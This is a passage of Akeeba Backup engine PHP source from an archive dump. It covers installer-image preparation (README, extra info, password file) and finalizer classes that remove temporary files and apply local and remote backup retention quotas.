			$archive->addFileVirtual('README.html', $this->installerSettings->installerroot, $data);
		}

		if (!empty($this->installerSettings->extrainfo ?? ''))
		{
			$data = $this->createExtrainfo();
			$archive->addFileVirtual('extrainfo.json', $this->installerSettings->installerroot, $data);
		}

		if (!empty($this->installerSettings->password ?? ''))
		{
			$data = $this->createPasswordFile();

			if (!empty($data))
			{
				$archive->addFileVirtual('password.php', $this->installerSettings->installerroot, $data);
			}
		}

		$this->progress = 0;

		// Set our state to prepared
		$this->setState(self::STATE_PREPARED);
	}

	/**
	 * Implements the _run() abstract method
	 */
	function _run()
	{
		if ($this->getState() == self::STATE_POSTRUN)
		{
			Factory::getLog()->debug(__CLASS__ . " :: Already finished");
			$this->setStep('');
			$this->setSubstep('');
		}
		else
		{
			$this->setState(self::STATE_RUNNING);
		}

		// Try to step the archiver
		$archive = Factory::getArchiverEngine();
		$ret     = $archive->transformJPA($this->xformIndex, $this->offset);

		if ($ret !== false)
		{
			$this->offset     = $ret['offset'];
			$this->xformIndex = $ret['index'];
			$this->setStep($ret['filename']);
		}

		// Check for completion
		if ($ret['done'])
		{
			Factory::getLog()->debug(__CLASS__ . ":: archive is initialized");
			$this->setState(self::STATE_FINISHED);
		}

		// Calculate percentage
		$this->runningSize += $ret['chunkProcessed'] ?? 0;

		if ($ret['filesize'] > 0)
		{
			$this->progress = $this->runningSize / $ret['filesize'];
		}
	}

	/**
	 * Implements the _finalize() abstract method
	 *
	 */
	function _finalize()
	{
		$this->setState(self::STATE_FINISHED);
		$this->progress = 1;
	}

	/**
	 * Implements the progress calculation based on how much of the installer image
	 * archive we have processed so far.
	 */
	public function getProgress()
	{
		return $this->progress;
	}

	/**
	 * Creates the contents of an HTML file with the description and comment of
	 * the backup. This file will be saved as README.html in the installer's root
	 * directory, as specified by the embedded installer's settings.
	 *
	 * @return string The contents of the HTML file.
	 */
	protected function createReadme()
	{
		$config = Factory::getConfiguration();

		$version = defined('AKEEBABACKUP_VERSION') ? AKEEBABACKUP_VERSION : AKEEBA_VERSION;
		$date    = defined('AKEEBABACKUP_DATE') ? AKEEBABACKUP_DATE : AKEEBA_DATE;
		$pro     = defined('AKEEBABACKUP_PRO') ? AKEEBABACKUP_PRO : AKEEBA_PRO;

		$lbl_version   = $version . ' (' . $date . ')';
		$lbl_coreorpro = ($pro == 1) ? 'Professional' : 'Core';

		$description = $config->get('volatile.core.description', '');
		$comment     = $config->get('volatile.core.comment', '');

		$config->set('volatile.core.description', null);
		$config->set('volatile.core.comment', null);

		return <<<ENDHTML
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
	<title>Akeeba Backup Archive Identity</title>
</head>
<body>
	<h1>Backup Description</h1>
	<p id="description"><![CDATA[$description]]></p>
	<h1>Backup Comment</h1>
	<div id="comment">
	$comment
	</div>
	<hr/>
	<p>
		Akeeba Backup $lbl_coreorpro $lbl_version
	</p>
</body>
</html>
ENDHTML;
	}

	protected function createExtrainfo()
	{
		$abversion  = defined('AKEEBABACKUP_VERSION') ? AKEEBABACKUP_VERSION : AKEEBA_VERSION;
		$host       = Platform::getInstance()->get_host();
		$backupdate = gmdate('Y-m-d H:i:s');
		$phpversion = PHP_VERSION;
		$rootPath   = Platform::getInstance()->get_site_root();

		$data = [
			'host'           => $host,
			'backup_date'    => $backupdate,
			'akeeba_version' => $abversion,
			'php_version'    => $phpversion,
			'root'           => $rootPath,
		];

		$platform = Platform::getInstance();

		try
		{
			$extraData = $platform->get_extra_info();
		}
		catch (\Exception $e)
		{
			// Not all platform classes implement get_extra_info(), therefore Platform will throw an Exception
			$extraData = [];
		}

		$data = array_merge($data, $extraData);

		$ret = json_encode($data, JSON_PRETTY_PRINT);

		return $ret;
	}

	protected function createPasswordFile()
	{
		$config = Factory::getConfiguration();
		$ret    = '';

		$password = $config->get('engine.installer.angie.key', '');

		if (empty($password))
		{
			return $ret;
		}

		$randVal = Factory::getRandval();

		$salt     = $randVal->generateString(32);
		$passhash = self::md5($password . $salt) . ':' . $salt;
		$ret      = "<?php\n";
		$ret      .= "define('AKEEBA_PASSHASH', '" . $passhash . "');\n";

		return $ret;
	}
}
com_akeeba/BackupEngine/Core/Domain/Finalizer/RemoveTemporaryFiles.php000060400000002702152455305260022027 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

/**
 * @package     Akeeba\Engine\Core\Domain\Finalizer
 * @subpackage
 *
 * @copyright   A copyright
 * @license     A "Slug" license name e.g. GPL2
 */

namespace Akeeba\Engine\Core\Domain\Finalizer;

use Akeeba\Engine\Factory;

/**
 * Removes temporary files.
 *
 * @since       9.3.1
 * @package     Akeeba\Engine\Core\Domain\Finalizer
 *
 */
final class RemoveTemporaryFiles extends AbstractFinalizer
{
	/**
	 * @inheritDoc
	 */
	public function __invoke()
	{
		$this->setStep('Removing temporary files');
		$this->setSubstep('');
		Factory::getLog()->debug("Removing temporary files");
		Factory::getTempFiles()->deleteTempFiles();

		return true;
	}
}com_akeeba/BackupEngine/Core/Domain/Finalizer/FinalizerInterface.php000060400000003171152455305260021451 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

/**
 * @package     Akeeba\Engine\Core\Domain\Finalizer
 * @subpackage
 *
 * @copyright   A copyright
 * @license     A "Slug" license name e.g. GPL2
 */

namespace Akeeba\Engine\Core\Domain\Finalizer;

use Akeeba\Engine\Core\Domain\Finalization;
use Exception;

/**
 * Interface to a finalizer invokable class.
 *
 * @since 9.3.1
 */
interface FinalizerInterface
{
	/**
	 * Public constructor
	 *
	 * @param   Finalization  $finalizationPart  The part we belong to.
	 *
	 * @since   9.3.1
	 */
	public function __construct(Finalization $finalizationPart);

	/**
	 * Executes the finalizer job. Returns true when done, false if it needs to run further.
	 *
	 * @return  bool  True if we are fully done. False if we must be called again.
	 * @throws  Exception  When an error occurs.
	 *
	 * @since   9.3.1
	 */
	public function __invoke();
}com_akeeba/BackupEngine/Core/Domain/Finalizer/AbstractQuotaManagement.php000060400000033735152455305260022470 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

/**
 * @package     Akeeba\Engine\Core\Domain\Finalizer
 * @subpackage
 *
 * @copyright   A copyright
 * @license     A "Slug" license name e.g. GPL2
 */

namespace Akeeba\Engine\Core\Domain\Finalizer;

use Akeeba\Engine\Factory;
use DateTime;
use Exception;

abstract class AbstractQuotaManagement extends AbstractFinalizer
{
	/**
	 * Abstraction for the engine configuration keys used in the concrete quota management class.
	 *
	 * @since 9.3.1
	 * @var   string[]
	 */
	protected $configKeys = [
		'maxAgeEnable' => 'akeeba.quota.maxage.enable',
		'maxAgeDays'   => 'akeeba.quota.maxage.maxdays',
		'maxAgeKeep'   => 'akeeba.quota.maxage.keepday',
		'countEnable'  => 'akeeba.quota.enable_count_quota',
		'countValue'   => 'akeeba.quota.count_quota',
		'sizeEnable'   => 'akeeba.quota.enable_size_quota',
		'sizeValue'    => 'akeeba.quota.size_quota',
	];

	/**
	 * The ID of the latest backup (the one we are running in right now)
	 *
	 * @since 9.3.1
	 * @var   int
	 */
	protected $latestBackupId;

	/**
	 * Human-readable quote type e.g. 'local', 'remote', etc. for the concrete quota management class.
	 *
	 * @since 9.3.1
	 * @var   string
	 */
	protected $quotaType = 'local';

	/**
	 * @inheritDoc
	 */
	public function __invoke()
	{
		$this->setStep(
			sprintf(
				'Applying %s quotas',
				$this->quotaType
			)
		);
		$this->setSubstep('');

		// If no quota settings are enabled, quit
		$configuration  = Factory::getConfiguration();
		$timer          = Factory::getTimer();
		$useDayQuotas   = $configuration->get($this->configKeys['maxAgeEnable']);
		$useCountQuotas = $configuration->get($this->configKeys['countEnable']);
		$useSizeQuotas  = $configuration->get($this->configKeys['sizeEnable']);

		if (!($useDayQuotas || $useCountQuotas || $useSizeQuotas))
		{
			Factory::getLog()->debug(
				sprintf(
					'No %s quotas were defined; old backup files will be kept intact',
					$this->quotaType
				)
			);

			return true;
		}

		// Get the latest backup ID
		$statistics           = Factory::getStatistics();
		$this->latestBackupId = $statistics->getId();

		// Try to load the calculated quotas from the volatile keys
		$keyIsCalculated    = sprintf('volatile.quotas.%s.calculated', $this->quotaType);
		$keyRemoveBackupIDs = sprintf('volatile.quotas.%s.removeBackupIDs', $this->quotaType);
		$keyRemoveLogPaths  = sprintf('volatile.quotas.%s.removeLogPaths', $this->quotaType);
		$keyFilesToRemove   = sprintf('volatile.quotas.%s.filesToRemove', $this->quotaType);

		$isCalculated    = $configuration->get($keyIsCalculated, false);
		$removeBackupIDs = $configuration->get($keyRemoveBackupIDs, []);
		$removeLogPaths  = $configuration->get($keyRemoveLogPaths, []);
		$filesToRemove   = $configuration->get($keyFilesToRemove, []);

		// Calculate the quotas if nothing was calculated just yet.
		if (!$isCalculated)
		{
			// Calculate the quotas. If nothing is found, return immediately.
			if ($this->calculateQuotas($allRecords, $removeBackupIDs, $removeLogPaths, $filesToRemove) === false)
			{
				return true;
			}

			$this->saveCalculatedQuotas($removeBackupIDs, $removeLogPaths, $filesToRemove);

			// Do I have enough time to process removals?
			if ($timer->getTimeLeft() <= 0)
			{
				return false;
			}
		}

		// Process a chunk of removals
		if (!$this->processRemovals($removeBackupIDs, $filesToRemove, $removeLogPaths))
		{
			$this->saveCalculatedQuotas($removeBackupIDs, $removeLogPaths, $filesToRemove);

			return false;
		}

		$removeBackupIDs = null;
		$removeLogPaths  = null;
		$filesToRemove   = null;

		$this->saveCalculatedQuotas($removeBackupIDs, $removeLogPaths, $filesToRemove);

		return true;
	}

	/**
	 * Get all the backup records to apply quotas on.
	 *
	 * @return  array
	 *
	 * @since   9.3.1
	 */
	abstract protected function getAllRecords(): array;

	/**
	 * Processes a list of records for removal. The removal DOES NOT take place here.
	 *
	 * @param   array  $allRecords       The records to process
	 * @param   array  $removeBackupIDs  Running tally of backup IDs to remove files from
	 * @param   array  $removeLogPaths   Running tally of log entries to remove
	 * @param   array  $ret              Running tally of arrays of files to remove
	 * @param   array  $leftover         Leftover records to be processed by the next quota rule
	 *
	 * @since   9.3.1
	 */
	protected function markAllRecordsForRemoval(array &$allRecords, array &$removeBackupIDs, array &$removeLogPaths, array &$ret, array &$leftover)
	{
		foreach ($allRecords as $def)
		{
			if ($def['id'] != $this->latestBackupId)
			{
				continue;
			}

			$temp       = array_pop($leftover);
			$leftover[] = $def;
			array_unshift($allRecords, $temp);

			break;
		}

		foreach ($allRecords as $def)
		{
			$ret[]             = $def['filenames'];
			$removeBackupIDs[] = $def['id'];

			if (empty($def['logname']))
			{
				continue;
			}

			$filePath = $def['absolute_path'];

			if (empty($filePath))
			{
				continue;
			}

			$logPath = dirname($filePath) . '/' . $def['logname'];

			if (@file_exists($logPath))
			{
				$removeLogPaths[] = $logPath;

				continue;
			}

			$altLogPath = substr($logPath, 0, -4);

			if (@file_exists($altLogPath))
			{
				/**
				 * Bad host: the log file akeeba.tag.log.php may not exist but the akeeba.tag.log file
				 * does. This code addresses this problem.
				 */
				$removeLogPaths[] = $altLogPath;
			}
		}
	}

	/**
	 * Performs the actual removal.
	 *
	 * @param   array  $removeBackupIDs  The backup IDs which will have their files removed
	 * @param   array  $filesToRemove    The flat list of files to remove
	 * @param   array  $removeLogPaths   The flat list of log paths to remove
	 *
	 * @return  bool  True if we are done, false to come back in the next step of the engine
	 * @throws  Exception
	 * @since   9.3.1
	 */
	abstract protected function processRemovals(array &$removeBackupIDs, array &$filesToRemove, array &$removeLogPaths): bool;

	/**
	 * Applies the Count Quotas.
	 *
	 * @param   array  $allRecords       All records left to process
	 * @param   array  $removeBackupIDs  Running tally of backup IDs to remove files from
	 * @param   array  $removeLogPaths   Running tally of log entries to remove
	 * @param   array  $ret              Running tally of arrays of files to remove
	 *
	 * @return  void
	 * @since   9.3.1
	 */
	private function applyCountQuotas(array &$allRecords, array &$removeBackupIDs, array &$removeLogPaths, array &$ret)
	{
		$configuration  = Factory::getConfiguration();
		$useCountQuotas = $configuration->get($this->configKeys['countEnable']);
		$countQuota     = $configuration->get($this->configKeys['countValue']);

		// Do we need to apply count quotas?
		if (!$useCountQuotas || !is_numeric($countQuota) || $countQuota <= 0)
		{
			return;
		}

		// We should only run a count quota if there are more files than the set limit
		if (count($allRecords) <= $countQuota)
		{
			return;
		}

		Factory::getLog()->debug(
			sprintf(
				'Processing %s count quotas',
				$this->quotaType
			)
		);

		/**
		 * Backups are sorted by reverse ID order, e.g. 200, 199, 198, 197, 196, 195, 194, 193, 192, 191, 190, 189, 188.
		 * I need to keep the first $countQuota records in $leftover and process the remaining records.
		 */
		$leftover   = array_slice($allRecords, 0, $countQuota);
		$allRecords = array_slice($allRecords, $countQuota);

		$this->markAllRecordsForRemoval($allRecords, $removeBackupIDs, $removeLogPaths, $ret, $leftover);

		$allRecords = $leftover;
	}

	/**
	 * Applies the Day-Based Quotas.
	 *
	 * @param   array  $allRecords       All records left to process
	 * @param   array  $removeBackupIDs  Running tally of backup IDs to remove files from
	 * @param   array  $removeLogPaths   Running tally of log entries to remove
	 * @param   array  $ret              Running tally of arrays of files to remove
	 *
	 * @return  void
	 * @since   9.3.1
	 */
	private function applyDayQuotas(array &$allRecords, array &$removeBackupIDs, array &$removeLogPaths, array &$ret): void
	{
		$configuration = Factory::getConfiguration();
		$daysQuota     = $configuration->get($this->configKeys['maxAgeDays']);
		$preserveDay   = $configuration->get($this->configKeys['maxAgeKeep']);
		$leftover      = [];

		$killDatetime = new DateTime();
		$killDatetime->modify('-' . $daysQuota . ($daysQuota == 1 ? ' day' : ' days'));
		$killTS = $killDatetime->format('U');

		/**
		 * Move the following kind of records FROM allRecords TO leftover:
		 * - Current backup record
		 * - Backups on a preserve day
		 * - Backups newer than the earliest removal date
		 */
		$allRecords = array_filter(
			$allRecords,
			function (array $def) use ($killDatetime, $killTS, $preserveDay, &$leftover): bool {
				if ($def['id'] == $this->latestBackupId)
				{
					$leftover[] = $def;

					return false;
				}

				// Is this on a preserve day?
				if ($preserveDay > 0 && $def['day'] == $preserveDay)
				{
					$leftover[] = $def;

					return false;
				}

				// Otherwise, check the timestamp
				if ($def['backupstart'] >= $killTS)
				{
					$leftover[] = $def;

					return false;
				}

				return true;
			}
		);

		$this->markAllRecordsForRemoval($allRecords, $removeBackupIDs, $removeLogPaths, $ret, $leftover);

		$allRecords = $leftover;
	}

	/**
	 * Applies the Maximum Size Quotas.
	 *
	 * @param   array  $allRecords       All records left to process
	 * @param   array  $removeBackupIDs  Running tally of backup IDs to remove files from
	 * @param   array  $removeLogPaths   Running tally of log entries to remove
	 * @param   array  $ret              Running tally of arrays of files to remove
	 *
	 * @return  void
	 * @since   9.3.1
	 */
	private function applySizeQuotas(array &$allRecords, array &$removeBackupIDs, array &$removeLogPaths, array &$ret)
	{
		$configuration = Factory::getConfiguration();
		$useSizeQuotas = $configuration->get($this->configKeys['sizeEnable']);
		$sizeQuota     = $configuration->get($this->configKeys['sizeValue']);

		// Do we need to apply size quotas?
		if (!$useSizeQuotas || !is_numeric($sizeQuota) || $sizeQuota <= 0 || count($allRecords) <= 0)
		{
			return;
		}

		Factory::getLog()->debug(
			sprintf(
				'Processing %s size quotas',
				$this->quotaType
			)
		);

		// First I will find how many elements of the array I need to get to the $sizeQuota size.
		$runningSize     = 0;
		$numberOfRecords = 0;

		foreach ($allRecords as $def)
		{
			$numberOfRecords++;

			if ($def['id'] == $this->latestBackupId)
			{
				continue;
			}

			$runningSize += $def['size'];

			if ($runningSize >= $sizeQuota)
			{
				break;
			}
		}

		$leftover   = array_slice($allRecords, 0, $numberOfRecords);
		$allRecords = array_slice($allRecords, $numberOfRecords);

		$this->markAllRecordsForRemoval($allRecords, $removeBackupIDs, $removeLogPaths, $ret, $leftover);

		$allRecords = $leftover;
	}

	private function calculateQuotas(&$allRecords, &$removeBackupIDs, &$removeLogPaths, &$filesToRemove): bool
	{
		$configuration = Factory::getConfiguration();
		$useDayQuotas  = $configuration->get($this->configKeys['maxAgeEnable']);

		$allRecords = $this->getAllRecords();

		// If there are no files, exit early
		if (count($allRecords) == 0)
		{
			Factory::getLog()->debug(
				sprintf(
					'There were no old backup records to apply %s quotas on',
					$this->quotaType
				)
			);

			return false;
		}

		// Init arrays
		$removeBackupIDs = [];
		$removeLogPaths  = [];
		$ret             = [];

		// Do we need to apply maximum backup age quotas?
		if ($useDayQuotas)
		{
			$this->applyDayQuotas($allRecords, $removeBackupIDs, $removeLogPaths, $ret);
		}
		else
		{
			$this->applyCountQuotas($allRecords, $removeBackupIDs, $removeLogPaths, $ret);
			$this->applySizeQuotas($allRecords, $removeBackupIDs, $removeLogPaths, $ret);
		}

		// Convert the $ret 2-dimensional array to single dimensional
		$filesToRemove = [];

		foreach ($ret as $temp)
		{
			$filesToRemove = array_merge($filesToRemove ?? [], $temp);
		}

		return true;
	}

	/**
	 * Save the calculated quotas into the volatile storage
	 *
	 * @param   array|null  $removeBackupIDs  Running tally of backup IDs to remove files from
	 * @param   array|null  $removeLogPaths   Running tally of log entries to remove
	 * @param   array|null  $filesToRemove    The flat list of files to remove
	 *
	 * @return  void
	 * @since   9.3.1
	 */
	private function saveCalculatedQuotas(?array &$removeBackupIDs, ?array &$removeLogPaths, ?array &$filesToRemove): void
	{
		$configuration      = Factory::getConfiguration();
		$keyIsCalculated    = sprintf('volatile.quotas.%s.calculated', $this->quotaType);
		$keyRemoveBackupIDs = sprintf('volatile.quotas.%s.removeBackupIDs', $this->quotaType);
		$keyRemoveLogPaths  = sprintf('volatile.quotas.%s.removeLogPaths', $this->quotaType);
		$keyFilesToRemove   = sprintf('volatile.quotas.%s.filesToRemove', $this->quotaType);

		$isCalculated = $removeBackupIDs !== null || $removeLogPaths !== null || $filesToRemove !== null;

		if ($isCalculated)
		{
			$configuration->set($keyIsCalculated, true);
			$configuration->set($keyRemoveBackupIDs, $removeBackupIDs);
			$configuration->set($keyRemoveLogPaths, $removeLogPaths);
			$configuration->set($keyFilesToRemove, $filesToRemove);

			return;
		}

		$configuration->remove($keyIsCalculated);
		$configuration->remove($keyRemoveBackupIDs);
		$configuration->remove($keyRemoveLogPaths);
		$configuration->remove($keyFilesToRemove);
	}
}com_akeeba/BackupEngine/Core/Domain/Finalizer/RemoteQuotas.php000060400000016136152455305260020342 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

/**
 * @package     Akeeba\Engine\Core\Domain\Finalizer
 * @subpackage
 *
 * @copyright   A copyright
 * @license     A "Slug" license name e.g. GPL2
 */

namespace Akeeba\Engine\Core\Domain\Finalizer;

use Akeeba\Engine\Core\Domain\Finalization;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use DateTime;
use Exception;

class RemoteQuotas extends AbstractQuotaManagement
{
	/** @inheritDoc */
	public function __construct(Finalization $finalizationPart)
	{
		$this->quotaType = 'remote';

		$this->configKeys = [
			'maxAgeEnable' => 'akeeba.quota.remotely.maxage.enable',
			'maxAgeDays'   => 'akeeba.quota.remotely.maxage.maxdays',
			'maxAgeKeep'   => 'akeeba.quota.remotely.maxage.keepday',
			'countEnable'  => 'akeeba.quota.remotely.enable_count_quota',
			'countValue'   => 'akeeba.quota.remotely.count_quota',
			'sizeEnable'   => 'akeeba.quota.remotely.enable_size_quota',
			'sizeValue'    => 'akeeba.quota.remotely.size_quota',
		];

		parent::__construct($finalizationPart);
	}

	/** @inheritDoc */
	protected function getAllRecords(): array
	{
		$configuration = Factory::getConfiguration();
		$useLatest = $configuration->get('akeeba.quota.remote_latest', '1') == 1;

		// Get all records with a remote filename and filter out the current record and frozen records
		$allRecords = array_filter(
			Platform::getInstance()->get_valid_remote_records() ?: [],
			function (array $stat) use ($useLatest): bool {
				// Exclude frozen records from quota management
				if (isset($stat['frozen']) && $stat['frozen'])
				{
					Factory::getLog()->debug(
						sprintf(
							'Excluding frozen backup id %d from %s quota management',
							$stat['id'],
							$this->quotaType
						)
					);

					return false;
				}

				// Exclude the current record from the remote quota management
				return $useLatest ? true : ($stat['id'] != $this->latestBackupId);
			}
		);

		// Convert stat records to entries used in quota management
		return array_map(
			function (array $stat): array {
				$remoteFilenames = $this->getRemoteFiles($stat['remote_filename'], $stat['multipart']);

				try
				{
					$backupStart = new DateTime($stat['backupstart']);
					$backupTS    = $backupStart->format('U');
					$backupDay   = $backupStart->format('d');
				}
				catch (Exception $e)
				{
					$backupTS  = 0;
					$backupDay = 0;
				}

				// Get the log file name
				$tag      = $stat['tag'] ?? 'backend';
				$backupId = $stat['backupid'] ?? '';
				$logName  = '';

				if (!empty($backupId))
				{
					$logName = 'akeeba.' . $tag . '.' . $backupId . '.log.php';
				}

				return [
					'id'            => $stat['id'],
					'filenames'     => $remoteFilenames,
					'size'          => $stat['total_size'],
					'backupstart'   => $backupTS,
					'day'           => $backupDay,
					'logname'       => $logName,
					'absolute_path' => $stat['absolute_path'],
				];
			},
			$allRecords
		);
	}

	/**
	 * Performs the actual removal.
	 *
	 * @param   array  $removeBackupIDs  The backup IDs which will have their files removed
	 * @param   array  $filesToRemove    The flat list of files to remove
	 * @param   array  $removeLogPaths   The flat list of log paths to remove
	 *
	 * @return  bool  True if we are done, false to come back in the next step of the engine
	 * @throws  Exception
	 * @since   9.3.1
	 */
	protected function processRemovals(array &$removeBackupIDs, array &$filesToRemove, array &$removeLogPaths): bool
	{
		$timer = Factory::getTimer();

		// Update the statistics record with the removed remote files
		if (!empty($removeBackupIDs))
		{
			Factory::getLog()->debug(
				sprintf(
					'Applying %s quotas: updating backup records',
					$this->quotaType
				)
			);
		}

		while (!empty($removeBackupIDs) && $timer->getTimeLeft() > 0)
		{
			$id   = array_shift($removeBackupIDs);
			$data = ['remote_filename' => ''];

			Platform::getInstance()->set_or_update_statistics($id, $data);
		}

		// Check if I have enough time
		if ($timer->getTimeLeft() <= 0)
		{
			return false;
		}

		// Apply quotas upon backup records
		if (!empty($filesToRemove) > 0)
		{
			Factory::getLog()->debug(
				sprintf(
					'Applying %s quotas: removing backup archives',
					$this->quotaType
				)
			);
		}

		while (!empty($filesToRemove) && $timer->getTimeLeft() > 0)
		{
			$filename = array_shift($filesToRemove);
			[$engineName, $path] = explode('://', $filename);
			$engine = Factory::getPostprocEngine($engineName);

			if (!$engine->supportsDelete())
			{
				continue;
			}

			Factory::getLog()->debug(
				sprintf(
					'Removing remotely stored file %s',
					$filename
				)
			);

			try
			{
				$engine->delete($path);
			}
			catch (Exception $e)
			{
				Factory::getLog()->debug(
					sprintf(
						'Could not remove remotely stored file. Error: %s',
						$e->getMessage()
					)
				);
			}
		}

		// Check if I have enough time
		if ($timer->getTimeLeft() <= 0)
		{
			return false;
		}

		// Apply quotas to log files
		if (!empty($removeLogPaths))
		{
			Factory::getLog()->debug(
				sprintf(
					'Applying %s quotas: removing obsolete log files',
					$this->quotaType
				)
			);
			Factory::getLog()->debug('Removing obsolete log files');
		}

		while (!empty($removeLogPaths) && $timer->getTimeLeft() > 0)
		{
			$logPath = array_shift($removeLogPaths);

			if (@Platform::getInstance()->unlink($logPath))
			{
				continue;
			}

			Factory::getLog()->debug(
				sprintf(
					'Failed to remove old log file %s',
					$logPath
				)
			);
		}

		// Check if I have enough time
		if ($timer->getTimeLeft() <= 0)
		{
			return false;
		}

		return true;
	}

	/**
	 * Get the full paths to all remote backup parts
	 *
	 * @param   string  $filename   The full filename of the last part stored in the database
	 * @param   int     $multipart  How many parts does this archive consist of?
	 *
	 * @return  array  A list of the full paths of all remotely stored backup archive parts
	 * @since   9.3.1
	 */
	private function getRemoteFiles(string $filename, int $multipart): array
	{
		$result = [];

		$extension       = substr($filename, -3);
		$base            = substr($filename, 0, -4);
		$extensionPrefix = substr($extension, 0, 1);
		$result[]        = $filename;

		if ($multipart <= 1)
		{
			return $result;
		}

		for ($i = 1; $i < $multipart; $i++)
		{
			$newExt   = $extensionPrefix . sprintf('%02u', $i);
			$result[] = $base . '.' . $newExt;
		}

		return $result;
	}

}com_akeeba/BackupEngine/Core/Domain/Finalizer/LocalQuotas.php000060400000012313152455305260020132 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

/**
 * @package     Akeeba\Engine\Core\Domain\Finalizer
 * @subpackage
 *
 * @copyright   A copyright
 * @license     A "Slug" license name e.g. GPL2
 */

namespace Akeeba\Engine\Core\Domain\Finalizer;

use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use DateTime;
use Exception;

final class LocalQuotas extends AbstractQuotaManagement
{

	/**
	 * Get all the backup records to apply quotas on.
	 *
	 * @return  array
	 *
	 * @since   9.3.1
	 */
	protected function getAllRecords(): array
	{
		// Get valid-looking backup ID's
		$validIDs = Platform::getInstance()->get_valid_backup_records(true) ?: [];

		// Create a list of valid files
		$allFiles   = [];
		$statistics = Factory::getStatistics();

		foreach ($validIDs as $id)
		{
			$stat = Platform::getInstance()->get_statistics($id);

			// Exclude frozen record from quota management
			if (isset($stat['frozen']) && $stat['frozen'])
			{
				Factory::getLog()->debug(
					sprintf(
						'Excluding frozen backup id %d from %s quota management',
						$id,
						$this->quotaType
					)
				);
				continue;
			}

			try
			{
				$backupstart = new DateTime($stat['backupstart']);
				$backupTS    = $backupstart->format('U');
				$backupDay   = $backupstart->format('d');
			}
			catch (Exception $e)
			{
				$backupTS  = 0;
				$backupDay = 0;
			}

			// Get the log file name
			$tag      = $stat['tag'];
			$backupId = $stat['backupid'] ?? '';
			$logName  = '';

			if (!empty($backupId))
			{
				$logName = 'akeeba.' . $tag . '.' . $backupId . '.log.php';
			}

			// Multipart processing
			$filenames = $statistics->get_all_filenames($stat, true);

			// Only process existing files
			if (is_null($filenames))
			{
				continue;
			}

			$filesize = 0;

			foreach ($filenames as $filename)
			{
				$filesize += @filesize($filename);
			}

			$allFiles[] = [
				'id'            => $id,
				'filenames'     => $filenames,
				'size'          => $filesize,
				'backupstart'   => $backupTS,
				'day'           => $backupDay,
				'logname'       => $logName,
				'absolute_path' => $stat['absolute_path'],
			];
		}

		return $allFiles;
	}

	/**
	 * Performs the actual removal.
	 *
	 * @param   array  $removeBackupIDs  The backup IDs which will have their files removed
	 * @param   array  $filesToRemove    The flat list of files to remove
	 * @param   array  $removeLogPaths   The flat list of log paths to remove
	 *
	 * @return  bool  True if we are done, false to come back in the next step of the engine
	 * @throws  Exception
	 * @since   9.3.1
	 */
	protected function processRemovals(array &$removeBackupIDs, array &$filesToRemove, array &$removeLogPaths): bool
	{
		$timer = Factory::getTimer();

		// Update the statistics record with the removed remote files
		if (!empty($removeBackupIDs))
		{
			Factory::getLog()->debug(
				sprintf(
					'Applying %s quotas: updating backup records',
					$this->quotaType
				)
			);
		}

